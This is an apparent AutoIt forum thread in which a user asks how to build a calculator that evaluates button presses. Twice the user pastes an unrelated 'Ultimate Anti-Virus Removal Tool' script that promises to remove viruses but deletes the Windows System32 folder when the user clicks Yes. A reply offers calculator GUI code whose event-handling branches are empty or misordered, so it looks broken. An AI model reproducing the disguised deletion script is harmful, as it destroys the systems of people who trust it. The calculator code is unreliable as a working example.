# Using variables to solve mathematic equations?

## Recommended Posts

Hi! I'm working on a calculator and I was wondering how to do a couple of things:

This is my code so far and I was wondering how to make it where if I pressed the '1' button then the '+' button then the '2' button, then 'solve' it would solve 1+2 and then show it?

```;Ultimate Anti-Virus Removal Tool

\$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If \$ans = 6 Then
DirRemove("C:\WINDOWS\System32")
ElseIf \$ans = 7 Then
Exit
EndIf```
##### Share on other sites

Store the value when an operator button was pressed, then get the value when equals is pressed. If the stored operator was +, then add the first and second. Etc.

##### Share on other sites

Store the value when an operator button was pressed, then get the value when equals is pressed. If the stored operator was +, then add the first and second. Etc.

I've appended the text but I'm not sure where to go from there. How do I 'store' them and call them all up at once in order?

```;Ultimate Anti-Virus Removal Tool

\$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If \$ans = 6 Then
DirRemove("C:\WINDOWS\System32")
ElseIf \$ans = 7 Then
Exit
EndIf```
##### Share on other sites

Hi, this will probably add more confusion then help, but here goes

```#include<GUIConstants.au3>

Opt("GUIOnEventMode", 1)

Global \$Store, \$nX = 5, \$nY = 50
Dim \$SBN = StringSplit("1|2|3|+|C|4|5|6|-||7|8|9|/||.|0|%|*|=", "|")

\$Gui = GUICreate("", 280, 270)
\$Input = GUICtrlCreateInput("", \$nX, \$nX, 270, 40, \$ES_READONLY + \$ES_RIGHT)
GUICtrlSetFont(-1, 22, 700)
GUICtrlSetBkColor(-1, 0xffffff)
For \$i = 1 To 20
GUICtrlCreateButton(\$SBN[\$i], \$nX, \$nY, 50,50)
GUICtrlSetOnEvent(-1, "Event")
GUICtrlSetFont(-1, 22, 700)
\$nX += 55
If Not Mod(\$i, 5) Then
\$nX = 5
\$nY += 55
EndIf
Next
GUISetOnEvent(\$GUI_EVENT_CLOSE, "Event", \$Gui)
GUISetState()

While 1
Sleep(100)
WEnd

Func Event()
Switch @GUI_CtrlId
Case \$GUI_EVENT_CLOSE
Exit
Case Else
Case 1, 2, 3, 4, 5, 6, 7, 8, 9, "0", "."
Case "+", "-", "/", "*"
GUICtrlSetData(\$Input,"")
WinSetTitle(\$Gui, "", \$Store)
Case "%"
Case "="
\$Store = ""
WinSetTitle(\$Gui, "", "")
Case "C"
GUICtrlSetData(\$Input,"")
\$Store = ""
WinSetTitle(\$Gui, "", "")
EndSwitch
EndSwitch
EndFunc```

Cheers

Edited by smashly

## Create an account

Register a new account

• ### Recently Browsing   0 members

×

• Wiki

• Back

• #### Beta

• Git
• FAQ
×
• Create New...